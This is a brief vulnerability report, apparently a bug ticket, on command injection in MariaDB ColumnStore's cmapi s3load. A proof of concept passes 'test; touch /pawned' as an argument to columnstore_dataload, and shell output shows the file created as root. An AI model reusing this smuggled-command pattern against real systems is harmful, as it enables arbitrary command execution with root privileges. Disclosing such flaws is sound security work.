Security injection in cmapi s3load

{{ columnstore_dataload("test", "test; touch /pawned", "mdb-s3-test") |}}

{{➜ / ls -al /pawned
rw-rr- 1 root root 0 Aug 9 08:27 /pawned
}}